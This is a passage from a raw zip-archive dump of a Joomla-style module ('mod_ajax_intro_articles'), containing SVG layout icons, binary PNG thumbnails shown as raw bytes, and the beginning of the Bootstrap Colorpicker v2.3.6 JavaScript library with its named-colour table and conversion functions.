			l4.7-3.5L367.5,184.1z"/>
	</g>
	<g display="inline">
		<path fill="#FFFFFF" d="M60,203.6v33.7h41.5v-33.7H60z M98.9,234.7H62.6v-28.5h36.3V234.7z M88.5,212.7c0,2.1,1.7,3.9,3.9,3.9
			c2.1,0,3.9-1.7,3.9-3.9s-1.7-3.9-3.9-3.9C90.3,208.8,88.5,210.5,88.5,212.7z M96.3,232.1H65.2l7.8-20.7l10.4,13l5.2-3.9
			L96.3,232.1z"/>
	</g>
	<g display="inline">
		<path fill="#FFFFFF" d="M191.8,70v41.6H243V70H191.8z M239.8,108.4H195V73.2h44.8V108.4z M227,81.2c0,2.7,2.1,4.8,4.8,4.8
			s4.8-2.1,4.8-4.8s-2.1-4.8-4.8-4.8S227,78.5,227,81.2z M236.6,105.2h-38.4l9.6-25.6l12.8,16l6.4-4.8L236.6,105.2z"/>
	</g>
	<g display="inline">
		<path fill="#FFFFFF" d="M59,53.8v33.7h41.5V53.8H59z M97.9,84.9H61.6V56.4h36.3V84.9z M87.5,62.9c0,2.1,1.7,3.9,3.9,3.9
			c2.1,0,3.9-1.7,3.9-3.9c0-2.1-1.7-3.9-3.9-3.9C89.3,59,87.5,60.7,87.5,62.9z M95.3,82.3H64.2L72,61.6l10.4,13l5.2-3.9L95.3,82.3z"
			/>
	</g>
	<g display="inline">
		<path fill="#FFFFFF" d="M334.9,42.9v30.3h37.3V42.9H334.9z M369.9,70.9h-32.7V45.2h32.7V70.9z M360.6,51.1c0,1.9,1.6,3.5,3.5,3.5
			s3.5-1.6,3.5-3.5c0-1.9-1.6-3.5-3.5-3.5S360.6,49.1,360.6,51.1z M367.6,68.6h-28l7-18.7l9.3,11.7l4.7-3.5L367.6,68.6z"/>
	</g>
</g>
<g id="Images">
</g>
</svg>
PK!E:����3mod_ajax_intro_articles/admin/images/flex-style.svgnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 17.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Images" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="5.7 4.7 420 230.7" enable-background="new 5.7 4.7 420 230.7" xml:space="preserve">
<rect x="13.7" y="13.1" fill="#D8E1E5" width="190" height="144.9"/>
<rect x="227" y="13.1" fill="#D8E1E5" width="190" height="144.9"/>
<rect x="227" y="180.2" fill="#D8E1E5" width="190" height="144.9"/>
<rect x="13.7" y="180.2" fill="#D8E1E5" width="190" height="144.9"/>
<rect x="13.7" y="13.1" fill="#66A4BF" width="190" height="100.4"/>
<rect x="227" y="13.1" fill="#66A4BF" width="190" height="100.4"/>
<g>
	<rect x="29.6" y="127" fill="#5E8291" width="158.1" height="3.9"/>
	<rect x="29.6" y="140.5" fill="#5E8291" width="54.4" height="3.9"/>
</g>
<g>
	<g>
		<path fill="#FFFFFF" d="M127.2,50.3c-0.6-0.6-1.4-1-2.3-1H92.4c-0.9,0-1.7,0.3-2.3,1c-0.6,0.6-1,1.4-1,2.3v24.7
			c0,0.9,0.3,1.7,1,2.3c0.6,0.6,1.4,1,2.3,1h32.6c0.9,0,1.7-0.3,2.3-1c0.6-0.6,1-1.4,1-2.3V52.6C128.2,51.7,127.9,50.9,127.2,50.3z
			 M125.6,77.3c0,0.2-0.1,0.3-0.2,0.5c-0.1,0.1-0.3,0.2-0.5,0.2H92.4c-0.2,0-0.3-0.1-0.5-0.2c-0.1-0.1-0.2-0.3-0.2-0.5V52.6
			c0-0.2,0.1-0.3,0.2-0.5c0.1-0.1,0.3-0.2,0.5-0.2h32.6c0.2,0,0.3,0.1,0.5,0.2c0.1,0.1,0.2,0.3,0.2,0.5V77.3L125.6,77.3z"/>
		<path fill="#FFFFFF" d="M98.2,62.3c1.1,0,2-0.4,2.8-1.1c0.8-0.8,1.1-1.7,1.1-2.8c0-1.1-0.4-2-1.1-2.8c-0.8-0.8-1.7-1.1-2.8-1.1
			c-1.1,0-2,0.4-2.8,1.1c-0.8,0.8-1.1,1.7-1.1,2.8c0,1.1,0.4,2,1.1,2.8C96.2,62,97.2,62.3,98.2,62.3z"/>
		<polygon fill="#FFFFFF" points="104.1,68.2 100.9,64.9 94.3,71.5 94.3,75.4 123,75.4 123,66.3 114.5,57.8 		"/>
	</g>
</g>
<g>
	<g>
		<path fill="#FFFFFF" d="M341.6,50.3c-0.6-0.6-1.4-1-2.3-1h-32.6c-0.9,0-1.7,0.3-2.3,1c-0.6,0.6-1,1.4-1,2.3v24.7
			c0,0.9,0.3,1.7,1,2.3c0.6,0.6,1.4,1,2.3,1h32.6c0.9,0,1.7-0.3,2.3-1c0.6-0.6,1-1.4,1-2.3V52.6C342.5,51.7,342.2,50.9,341.6,50.3z
			 M339.9,77.3c0,0.2-0.1,0.3-0.2,0.5c-0.1,0.1-0.3,0.2-0.5,0.2h-32.6c-0.2,0-0.3-0.1-0.5-0.2c-0.1-0.1-0.2-0.3-0.2-0.5V52.6
			c0-0.2,0.1-0.3,0.2-0.5c0.1-0.1,0.3-0.2,0.5-0.2h32.6c0.2,0,0.3,0.1,0.5,0.2c0.1,0.1,0.2,0.3,0.2,0.5V77.3L339.9,77.3z"/>
		<path fill="#FFFFFF" d="M312.6,62.3c1.1,0,2-0.4,2.8-1.1c0.8-0.8,1.1-1.7,1.1-2.8c0-1.1-0.4-2-1.1-2.8c-0.8-0.8-1.7-1.1-2.8-1.1
			c-1.1,0-2,0.4-2.8,1.1c-0.8,0.8-1.1,1.7-1.1,2.8c0,1.1,0.4,2,1.1,2.8C310.6,62,311.5,62.3,312.6,62.3z"/>
		<polygon fill="#FFFFFF" points="318.4,68.2 315.2,64.9 308.7,71.5 308.7,75.4 337.3,75.4 337.3,66.3 328.9,57.8 		"/>
	</g>
</g>
<rect x="13.7" y="180.2" fill="#66A4BF" width="190" height="98.6"/>
<rect x="227" y="180.2" fill="#66A4BF" width="190" height="98.6"/>
<g>
	<rect x="242.6" y="127.2" fill="#5E8291" width="158.1" height="3.9"/>
	<rect x="242.6" y="140.7" fill="#5E8291" width="54.4" height="3.9"/>
</g>
</svg>
PK!�#o,,/mod_ajax_intro_articles/admin/images/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!r.��--6mod_ajax_intro_articles/admin/images/overlay-style.svgnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 17.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Images" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="5.7 4.7 420 230.7" enable-background="new 5.7 4.7 420 230.7" xml:space="preserve">
<rect x="13.7" y="13.1" fill="#D8E1E5" width="190" height="140.9"/>
<rect x="227" y="13.1" fill="#D8E1E5" width="190" height="140.9"/>
<rect x="13.7" y="13.1" fill="#78A7BA" width="190" height="117.9"/>
<rect x="227" y="13.1" fill="#78A7BA" width="190" height="117.9"/>
<rect x="13.7" y="175.2" fill="#78A7BA" width="190" height="64.8"/>
<rect x="227" y="175.2" fill="#78A7BA" width="190" height="64.8"/>
<g>
	<rect x="269.6" y="70.6" fill="#FFFFFF" width="106.4" height="3.9"/>
	<rect x="300.6" y="84.1" fill="#FFFFFF" width="42" height="3.9"/>
	<rect x="290" y="57.6" fill="#FFFFFF" width="64.7" height="3.9"/>
</g>
<g>
	<rect x="55.9" y="70.3" fill="#FFFFFF" width="106.4" height="3.9"/>
	<rect x="86.9" y="83.8" fill="#FFFFFF" width="42" height="3.9"/>
	<rect x="76.3" y="57.3" fill="#FFFFFF" width="64.7" height="3.9"/>
</g>
<g>
	<rect x="268.4" y="227.3" fill="#FFFFFF" width="106.4" height="3.9"/>
	<rect x="288.7" y="214.3" fill="#FFFFFF" width="64.7" height="3.9"/>
</g>
<g>
	<rect x="55.6" y="227" fill="#FFFFFF" width="106.4" height="3.9"/>
	<rect x="76" y="214" fill="#FFFFFF" width="64.7" height="3.9"/>
</g>
</svg>
PK!��f���6mod_ajax_intro_articles/admin/images/columns/1-col.pngnu&1i��PNG


IHDR,�R��UtEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:4F9C53E414A811E8AD2CA541D642F251" xmpMM:DocumentID="xmp.did:4F9C53E514A811E8AD2CA541D642F251"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4F9C53E214A811E8AD2CA541D642F251" stRef:documentID="xmp.did:4F9C53E314A811E8AD2CA541D642F251"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>?�ӟMIDATx����M�@�aS�^F��G�p6 �L�2e��	O<6��٠l��)�����9�K�I� ���H?����|^�>8�` Xo��;x�u��ygat�8rj�`�,��0F��?N�㬝�+aU��U�d�.��:���$����ƵX�
�>��a��gͰҬjX�,1���ƃ�b5N�h�C�V��%�X;ts�X��2P��]F�j�%a�ɭ�	��SX�jͰ�R��9Zr�͒0ήܶ���N�`]:@�Vv�p�r��1��k�A��[�gJ�E��0q�~���<����I���^����M����V-��,sf��<(`���ܦ�
V��XkL�*��,k�K©���Ƕ;hj�%X�����` X� X�`�`� X��` X� X�`�`� X��` X��S�`� X��` X� X�`�`� X��` X� X�`�`� X�`�`� X��` X� X�`�`� X��` X� X�`�`� X�`�`� X��` X� X�`�`� X��` X� X�`�`� X�`�`� X��` X� X�`�`� X��` X� X�`�`� X�`�`� X��` X�.XGN%�/�5��O�T||+���6��.�J�Λ8�ݺ-�.Mr���y@�a��g/��ט�L�}�`>�/}�S����>�_�賂��W�atjl;9��Y�J���@[�!X�K��ιZ4[���
N���9Z2X��*7�~)ץvi�nvU)Xa���t.�].��mzS�GsB�F��H\��Bg6��*?K��j}�C�A���Зi�7g=����-V����k�I��T����y�u/��u�����I��k`�Ȟ�a�`�
W��4>�\�����x-���Zn�8�Q�r�V'E����^��׭m=�h���`� X
�-�0���9f��IEND�B`�PK!����6mod_ajax_intro_articles/admin/images/columns/4-col.pngnu&1i��PNG


IHDR,�R��UtEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:7B7D385B14A711E8AD2CA541D642F251" xmpMM:DocumentID="xmp.did:7B7D385C14A711E8AD2CA541D642F251"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7B7D385914A711E8AD2CA541D642F251" stRef:documentID="xmp.did:7B7D385A14A711E8AD2CA541D642F251"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�9
hrIDATx����QA��#�v�}:�
�h*P*0VV�O>�T:��q':�8.�of�L"�V�����|>/��L X��w��<w���"��0�i�Z ��1
�)�a��g�Qփ5�~JB�tƵ@{�_&X���!V1T?ø+ C܁��F+��Y+����y"��a�uWy�R�F��U�h]U�%+`�.Ccz�+m�
�f�n6���7�@
N�pZj�������Io�-a\]9m�K+,��e�um���]g+T�Ubu����ɓ0;4�s�ݱ��j�3�f�gs��?7��}�2;rQf���|�az���녀�/ùK���D��m�`��XY�|������*s+g9+V���ÜU�6���`��>@U+,���o@��,�@�,�,@�@��,�@�,�,@�@��,@�L X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�\��L%�/�5�x���V8�(���{�؅]~�`]T�b��u_�:��)��¸+�^�1*���,���|>_��ϝvϯ/p���i�&��X�8�x��*�3~�q��f�n�{o���l0jg+Ek��{u�
���n	�s�h�^�V+�1.S���Iw�?�s������6�����
Vx�i�S�K`�[�0:��h�KsB���lI�uBgV��־�0-ծl�
�S�NC_&�|q���)Z�❓�2|�=I��ֲ�<�e�;��ps[���
��q��i`<Ȟu��z�xbi���U�,X,����Ƿ;��`T�B���Z��c+/�{1L�7��x�P�",�@�*�[��=�R�ܴ+IEND�B`�PK!{�&6mod_ajax_intro_articles/admin/images/columns/6-col.pngnu&1i��PNG


IHDR,�R��UtEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:7B7D385F14A711E8AD2CA541D642F251" xmpMM:DocumentID="xmp.did:7B7D386014A711E8AD2CA541D642F251"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7B7D385D14A711E8AD2CA541D642F251" stRef:documentID="xmp.did:7B7D385E14A711E8AD2CA541D642F251"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>�uIDATx����QA���ɻv�<�$t ��T�T`�@�:�|� ����7�q��8P�of�L"��$����1�L
���!X�` X�=X�v�r�Q�4�,-���q� ����]=�
��Q�ƹ@��W&X;%cC�+��2��M?�h��H�vU�2/0C7�.+V��]*$@Uz!Zg�K��m�ֲװ�b��i�6��+=ɕ�jpvZ�R;�t���@MnV9�ݕ�����F�Y6X����yv�B�Z%vW��������f̷��yN�nƜ�[2���1���-��[����ڏ�9.��je�� M�W����!ŏ�\�j9��{�X8/XG%vV��#`F�:�ײ�\���r�0�r� g���#��,�s�'�j�%X���X@�,�,@�@��,�@�,�,@�@��,�@�,�@�,�,@�@��,�@�,�,@�@��,�@�,�@�,�,@�@��,�@�,�,@�@��,�@�,�@�,�,@�@��,�@�,�,@�@��,�@�,�@�,�,@�@��,�@�,�,@�@��,�@�,�@�,�,@�@��xo�ڳ��&�5�x����ݖ`�x/����m	�q�ޭ�"���07X���	�p=x��]�
�h�o6&����~�cx����cz��
-�IZ�e���o�Q��u���v���v�A�յ�y�5K<vxؿkg+E���{u9���	�kk�h�Z�+<0n%��Iw�.s�����:
��
Vx�q<SZK`�G�0:��i�E�i��i�t�@��	�6G�ʂ5���^#�I'�������L;���V�=�n����ȳ��b�uQ,�&@4,��70^d�z`�`M�+�X�.o9*��G�x��m1����`}�`"��^�f�־�|x1L�S_W���.��`� X�+�
��>2IEND�B`�PK!��EA��6mod_ajax_intro_articles/admin/images/columns/2-col.pngnu&1i��PNG


IHDR,�R��UtEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:4F9C53E814A811E8AD2CA541D642F251" xmpMM:DocumentID="xmp.did:4F9C53E914A811E8AD2CA541D642F251"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4F9C53E614A811E8AD2CA541D642F251" stRef:documentID="xmp.did:4F9C53E714A811E8AD2CA541D642F251"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>p�+�cIDATx����MA��%�:t`���;�*�TT@����s�RA�A�F�����^;��G%����Y�1�L*���)@��x�6}��~/��؏��c���!�8�]�a�����mѓm4��0B��t�X����]Ƹn�F[ˆU
կ�bH;��?btK\��ʫ�A���<VYg�+��6�-���ֶ�b,�a4檵`�m�Xˌ���[�$�X�������V��+r�Ȗ0�����J7J���:6��+*�m��J{���N�
cmF	�>c7�y���ߑ�&+�n������^XK�2����hm��-���+�G�0%\��cYM�a��d���Qޅ�^e-sK��������,`��Q@�,�,@�@��,�@�,�,@�@��,�@�,��� X�`�`� X��` X� X�`�`� X��` X� X�` X� X�`�`� X��` X� X�`�`� X��` X� X�` X� X�`�`� X��` X� X�`�`� X��` X� X�` X� X�`A[�����wd�,@�@��,�@�,�,@�@��,�@��,�@�,�,@�@���8��2���ָ�y�����[	�W�0gv�V�u�ƛ>�����Ѩ4Xw�o�*�Y�x�l;�m��ôܘL&S�}���n�����—�_ƴj�1ek!����4x�hop�+
V�� o�V�(�u]�%L.��B��b57X�Q��!�"��Ή�ߪ��R�4�����x�q�S�K`�[��yw�uiNDk(Z���\?:3w'W�Z¼T;�=Z�N�ڍ�<Թs���9Z�ꕓ�
|O=ɇ�j�y�,���aܜVOg��5���
Lً�8X/•N,M?w+��ӥUT:~�r�V���Ȱz>W����m�k/������^a��?��`� X-�#�|3�f��DIEND�B`�PK!�s�i��6mod_ajax_intro_articles/admin/images/columns/3-col.pngnu&1i��PNG


IHDR,�R��UtEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:4F9C53EC14A811E8AD2CA541D642F251" xmpMM:DocumentID="xmp.did:6271B98A14A811E8AD2CA541D642F251"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4F9C53EA14A811E8AD2CA541D642F251" stRef:documentID="xmp.did:4F9C53EB14A811E8AD2CA541D642F251"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��EIDATx����QA���ɻ���G����h&(+�T�O>�T:��a'2��q����Q��e�?��њ���[�,@�,����^7~9�,�vG�&aL�xc����t0j&X!T1J_ø( #`wa<T	�A�X�P��Z��qv��0:{��Uՠ������ڃ�b5J���C��em�+�5D���@��=�Hg㻭�ғܚO�'a�5���J[�ks4�~�-a\]�mhJ',��U�ue���]e+T�Sau���$��Qz�3�o���Ӝ�2;r^e���|�a�����煀)~�&�nf���m7���j�=V���{�U�+g�,V�:�+����p�����Ե�,`�L X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`�`� X��` X� X�`�`� X��`� X��` X� X�`��`�J�k��<S	lq�Z���{lم]��`��q1��u[��s���yA�a�γ�g�a�*,h&�~ؚ��+���׍�S�g���W�������ܿ�i^�;>��Y�J���@S.C�r��ѝ�4]���
�K�9����27�~+�R�4޴�*��Ӹ�4��>��a���C�eO��E��u�Nq�
��Im�Z�V�
`��H��Nn��`�h��J�m��|�bU��<;X/V[���NV����⿁�=끕���xci��s�VX#n��-R?������S
2,���j�h[y���4[����WXM,@�,���_G��#9Q��IEND�B`�PK!yœ�3�3�9mod_ajax_intro_articles/admin/js/bootstrap-colorpicker.jsnu&1i�/*!
 * Bootstrap Colorpicker v2.3.6
 * https://itsjavi.com/bootstrap-colorpicker/
 *
 * Originally written by (c) 2012 Stefan Petre
 * Licensed under the Apache License v2.0
 * http://www.apache.org/licenses/LICENSE-2.0.txt
 *
 */

(function(factory) {
  "use strict";
  if (typeof exports === 'object') {
    module.exports = factory(window.jQuery);
  } else if (typeof define === 'function' && define.amd) {
    define(['jquery'], factory);
  } else if (window.jQuery && !window.jQuery.fn.colorpicker) {
    factory(window.jQuery);
  }
}(function($) {
  'use strict';

  /**
   * Color manipulation helper class
   *
   * @param {Object|String} val
   * @param {Object} predefinedColors
   * @constructor
   */
  var Color = function(val, predefinedColors) {
    this.value = {
      h: 0,
      s: 0,
      b: 0,
      a: 1
    };
    this.origFormat = null; // original string format
    if (predefinedColors) {
      $.extend(this.colors, predefinedColors);
    }
    if (val) {
      if (val.toLowerCase !== undefined) {
        // cast to string
        val = val + '';
        this.setColor(val);
      } else if (val.h !== undefined) {
        this.value = val;
      }
    }
  };

  Color.prototype = {
    constructor: Color,
    // 140 predefined colors from the HTML Colors spec
    colors: {
      "aliceblue": "#f0f8ff",
      "antiquewhite": "#faebd7",
      "aqua": "#00ffff",
      "aquamarine": "#7fffd4",
      "azure": "#f0ffff",
      "beige": "#f5f5dc",
      "bisque": "#ffe4c4",
      "black": "#000000",
      "blanchedalmond": "#ffebcd",
      "blue": "#0000ff",
      "blueviolet": "#8a2be2",
      "brown": "#a52a2a",
      "burlywood": "#deb887",
      "cadetblue": "#5f9ea0",
      "chartreuse": "#7fff00",
      "chocolate": "#d2691e",
      "coral": "#ff7f50",
      "cornflowerblue": "#6495ed",
      "cornsilk": "#fff8dc",
      "crimson": "#dc143c",
      "cyan": "#00ffff",
      "darkblue": "#00008b",
      "darkcyan": "#008b8b",
      "darkgoldenrod": "#b8860b",
      "darkgray": "#a9a9a9",
      "darkgreen": "#006400",
      "darkkhaki": "#bdb76b",
      "darkmagenta": "#8b008b",
      "darkolivegreen": "#556b2f",
      "darkorange": "#ff8c00",
      "darkorchid": "#9932cc",
      "darkred": "#8b0000",
      "darksalmon": "#e9967a",
      "darkseagreen": "#8fbc8f",
      "darkslateblue": "#483d8b",
      "darkslategray": "#2f4f4f",
      "darkturquoise": "#00ced1",
      "darkviolet": "#9400d3",
      "deeppink": "#ff1493",
      "deepskyblue": "#00bfff",
      "dimgray": "#696969",
      "dodgerblue": "#1e90ff",
      "firebrick": "#b22222",
      "floralwhite": "#fffaf0",
      "forestgreen": "#228b22",
      "fuchsia": "#ff00ff",
      "gainsboro": "#dcdcdc",
      "ghostwhite": "#f8f8ff",
      "gold": "#ffd700",
      "goldenrod": "#daa520",
      "gray": "#808080",
      "green": "#008000",
      "greenyellow": "#adff2f",
      "honeydew": "#f0fff0",
      "hotpink": "#ff69b4",
      "indianred": "#cd5c5c",
      "indigo": "#4b0082",
      "ivory": "#fffff0",
      "khaki": "#f0e68c",
      "lavender": "#e6e6fa",
      "lavenderblush": "#fff0f5",
      "lawngreen": "#7cfc00",
      "lemonchiffon": "#fffacd",
      "lightblue": "#add8e6",
      "lightcoral": "#f08080",
      "lightcyan": "#e0ffff",
      "lightgoldenrodyellow": "#fafad2",
      "lightgrey": "#d3d3d3",
      "lightgreen": "#90ee90",
      "lightpink": "#ffb6c1",
      "lightsalmon": "#ffa07a",
      "lightseagreen": "#20b2aa",
      "lightskyblue": "#87cefa",
      "lightslategray": "#778899",
      "lightsteelblue": "#b0c4de",
      "lightyellow": "#ffffe0",
      "lime": "#00ff00",
      "limegreen": "#32cd32",
      "linen": "#faf0e6",
      "magenta": "#ff00ff",
      "maroon": "#800000",
      "mediumaquamarine": "#66cdaa",
      "mediumblue": "#0000cd",
      "mediumorchid": "#ba55d3",
      "mediumpurple": "#9370d8",
      "mediumseagreen": "#3cb371",
      "mediumslateblue": "#7b68ee",
      "mediumspringgreen": "#00fa9a",
      "mediumturquoise": "#48d1cc",
      "mediumvioletred": "#c71585",
      "midnightblue": "#191970",
      "mintcream": "#f5fffa",
      "mistyrose": "#ffe4e1",
      "moccasin": "#ffe4b5",
      "navajowhite": "#ffdead",
      "navy": "#000080",
      "oldlace": "#fdf5e6",
      "olive": "#808000",
      "olivedrab": "#6b8e23",
      "orange": "#ffa500",
      "orangered": "#ff4500",
      "orchid": "#da70d6",
      "palegoldenrod": "#eee8aa",
      "palegreen": "#98fb98",
      "paleturquoise": "#afeeee",
      "palevioletred": "#d87093",
      "papayawhip": "#ffefd5",
      "peachpuff": "#ffdab9",
      "peru": "#cd853f",
      "pink": "#ffc0cb",
      "plum": "#dda0dd",
      "powderblue": "#b0e0e6",
      "purple": "#800080",
      "red": "#ff0000",
      "rosybrown": "#bc8f8f",
      "royalblue": "#4169e1",
      "saddlebrown": "#8b4513",
      "salmon": "#fa8072",
      "sandybrown": "#f4a460",
      "seagreen": "#2e8b57",
      "seashell": "#fff5ee",
      "sienna": "#a0522d",
      "silver": "#c0c0c0",
      "skyblue": "#87ceeb",
      "slateblue": "#6a5acd",
      "slategray": "#708090",
      "snow": "#fffafa",
      "springgreen": "#00ff7f",
      "steelblue": "#4682b4",
      "tan": "#d2b48c",
      "teal": "#008080",
      "thistle": "#d8bfd8",
      "tomato": "#ff6347",
      "turquoise": "#40e0d0",
      "violet": "#ee82ee",
      "wheat": "#f5deb3",
      "white": "#ffffff",
      "whitesmoke": "#f5f5f5",
      "yellow": "#ffff00",
      "yellowgreen": "#9acd32",
      "transparent": "transparent"
    },
    _sanitizeNumber: function(val) {
      if (typeof val === 'number') {
        return val;
      }
      if (isNaN(val) || (val === null) || (val === '') || (val === undefined)) {
        return 1;
      }
      if (val === '') {
        return 0;
      }
      if (val.toLowerCase !== undefined) {
        if (val.match(/^\./)) {
          val = "0" + val;
        }
        return Math.ceil(parseFloat(val) * 100) / 100;
      }
      return 1;
    },
    isTransparent: function(strVal) {
      if (!strVal) {
        return false;
      }
      strVal = strVal.toLowerCase().trim();
      return (strVal === 'transparent') || (strVal.match(/#?00000000/)) || (strVal.match(/(rgba|hsla)\(0,0,0,0?\.?0\)/));
    },
    rgbaIsTransparent: function(rgba) {
      return ((rgba.r === 0) && (rgba.g === 0) && (rgba.b === 0) && (rgba.a === 0));
    },
    //parse a string to HSB
    setColor: function(strVal) {
      strVal = strVal.toLowerCase().trim();
      if (strVal) {
        if (this.isTransparent(strVal)) {
          this.value = {
            h: 0,
            s: 0,
            b: 0,
            a: 0
          };
        } else {
          this.value = this.stringToHSB(strVal) || {
            h: 0,
            s: 0,
            b: 0,
            a: 1
          }; // if parser fails, defaults to black
        }
      }
    },
    stringToHSB: function(strVal) {
      strVal = strVal.toLowerCase();
      var alias;
      if (typeof this.colors[strVal] !== 'undefined') {
        strVal = this.colors[strVal];
        alias = 'alias';
      }
      var that = this,
        result = false;
      $.each(this.stringParsers, function(i, parser) {
        var match = parser.re.exec(strVal),
          values = match && parser.parse.apply(that, [match]),
          format = alias || parser.format || 'rgba';
        if (values) {
          if (format.match(/hsla?/)) {
            result = that.RGBtoHSB.apply(that, that.HSLtoRGB.apply(that, values));
          } else {
            result = that.RGBtoHSB.apply(that, values);
          }
          that.origFormat = format;
          return false;
        }
        return true;
      });
      return result;
    },
    setHue: function(h) {
      this.value.h = 1 - h;
    },
    setSaturation: function(s) {
      this.value.s = s;
    },
    setBrightness: function(b) {
      this.value.b = 1 - b;
    },
    setAlpha: function(a) {
      this.value.a = Math.round((parseInt((1 - a) * 100, 10) / 100) * 100) / 100;
    },
    toRGB: function(h, s, b, a) {
      if (!h) {
        h = this.value.h;
        s = this.value.s;
        b = this.value.b;
      }
      h *= 360;
      var R, G, B, X, C;
      h = (h % 360) / 60;
      C = b * s;
      X = C * (1 - Math.abs(h % 2 - 1));
      R = G = B = b - C;

      h = ~~h;
      R += [C, X, 0, 0, X, C][h];
      G += [X, C, C, X, 0, 0][h];
      B += [0, 0, X, C, C, X][h];
      return {
        r: Math.round(R * 255),
        g: Math.round(G * 255),
        b: Math.round(B * 255),
        a: a || this.value.a
      };
    },
    toHex: function(h, s, b, a) {
      var rgb = this.toRGB(h, s, b, a);
      if (this.rgbaIsTransparent(rgb)) {
        return 'transparent';
      }
      return '#' + ((1 << 24) | (parseInt(rgb.r) << 16) | (parseInt(rgb.g) << 8) | parseInt(rgb.b)).toString(16).substr(1);
    },
    toHSL: function(h, s, b, a) {
      h = h || this.value.h;
      s = s || this.value.s;
      b = b || this.value.b;
      a = a || this.value.a;

      var H = h,
        L = (2 - s) * b,
